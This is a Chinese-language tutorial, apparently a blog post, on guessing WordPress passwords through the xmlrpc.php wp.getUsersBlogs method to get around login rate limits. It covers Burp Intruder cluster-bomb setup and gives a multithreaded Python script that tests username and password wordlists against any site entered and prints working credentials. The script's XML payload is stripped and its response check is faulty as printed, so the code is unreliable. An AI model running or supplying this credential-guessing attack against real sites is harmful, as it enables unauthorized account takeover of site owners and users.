在得到了WordPress的用户名之后,这时需要尝试哪些用户名使用了弱密码,以便获取更多的信息。
WordPress虽然默认没有验证码,但是再尝试次数上进行了限制,所以不能直接通过暴力破解登录接口。
WordPress上存在一个可以进行暴力猜解用户名密码的漏洞,通过调用xmlrpc.php可以验证当前提交的用户名密码是否正确。
通过直接访问http://domain/xmlrpc.php,来查看当前站点上是否存在该文件。
XMLRPC是使用http协议作为传输协议的RPC机制,使用XML文本的方式传输命令和数据。
RPC Client,向RPC Server调用方法,并接收相应的返回数据。
RPC Server,响应RPC Client的请求,执行相应的方法,并将执行的结果返回给RPCClient
RPC(Remote Procedure Call)远程过程调用,是一种在本地的机器上调用远端机器上函数方法的技术。
WordPress提供这样的方法,通过xml格式进行调用。适当的方法使用可以达到探测远程用户密码的效果。
在WordPress中包含的XMLRPC接口如下:
wp.getUsersBlogs
wp.getTags
wp.getAuthors
wp.getOptions
wp.getPostStatusList
wp.getPostFormats
wp.getComments
wp.getCommentCount
wp.getComment
wp.deleteComment
wp.editComment
wp.newComment
wp.getCommentStatusList
wp.getPageStatusList
wp.getPageTemplates
wp.getPage
wp.getPages
wp.getPageList
wp.newPage
wp.deletePage
wp.editPage
wp.getCategories
wp.newCategory
wp.deleteCategory
wp.suggestCategories
wp.uploadFile
wp.getMediaLibrary
wp.getMediaItem
可以看到WordPress提供的调用方法还是很多的,每个方法都需要提交参数,系统接收到参数之后会根据实际情况返回数据。以wp.getUsersBlogs为例
该方法所需要的参数为用户名和密码。服务器会根据是否提供了正确的用户名密码来返回一个已定义的数据结构。批量调用该方法可以达到验证用户密码的效果。
先通过Burp获取wordpress用户名:
收集的弱密码字典需要进行简单的处理,例如:排序、去重。
使用得到的用户名和弱密码字典进行破解,浏览器访问xmlrpc.php,通过Burp抓包,将GET方法改为POST方法,并在内容段中添加XML代码;做好以上步骤之后提交该数据包。
发送之后将该数据包发送到intruder,将用户明和密码字段设为变量,将Attacktype设为Clusterbomb
在Payloads中将两个变量分别设置字典
在options中将需要单独显示出来的判断字符串提取出来
开始破解
也可使用Python编写脚本进行破解,简单的多线程脚本如下所示:
#!/usr/bin/env python
#encoding: utf-8
#date: 2018-04-08
import urllib2
import re
import urllib
import threading
class brute (threading.Thread):
def __init__(self, user, passname, requrl):
threading.Thread.__init__(self)
self.user = user
self.passname = passname
self.requrl = requrl
def run(self):
f_password = open(self.passname, "r")
for key in f_password:
reqdata = 'wp.getUsersBlogs\
' + self.user + \
'
' + key + \
''
req = urllib2.Request(url=self.requrl, data=reqdata)
result = urllib2.urlopen(req).read()
if "isAdmin" in result:
print "username :" + self.user + "password :" + key
break
elif "faultString" and "403" in result:
continue
else:
print "Unknown error"
print (self.user + "is over!")
f_password.close()
def GetUrl():
urlinput=raw_input("请输入wordpress站点:")
requrl="http://"+re.match(r"(http://)?(.*)",urlinput).group(2)+"/xmlrpc.php"
print "尝试利用:"+requrl
return requrl
def Aviable(requrl):
html = urllib.urlopen(requrl).read()
if html == 'XML-RPC server accepts POST requests only.':
print "\n该站点存在此漏洞,尝试破解中:"
return True
else :
print "抱歉,此站点漏洞不可用"
print "网页返回:\n "+html
return False
def Exploit():
requrl = GetUrl()
passname = "./test/pass.txt"
if Aviable(requrl) :
f_username = open("./test/user.txt","r")
for name in f_username:
t = brute(name, passname, requrl)
t.start()
print "线程已全部派发"
f_username.close()
if __name__ == '__main__' :
Exploit()
领取专属 10元无门槛券
私享最新 技术干货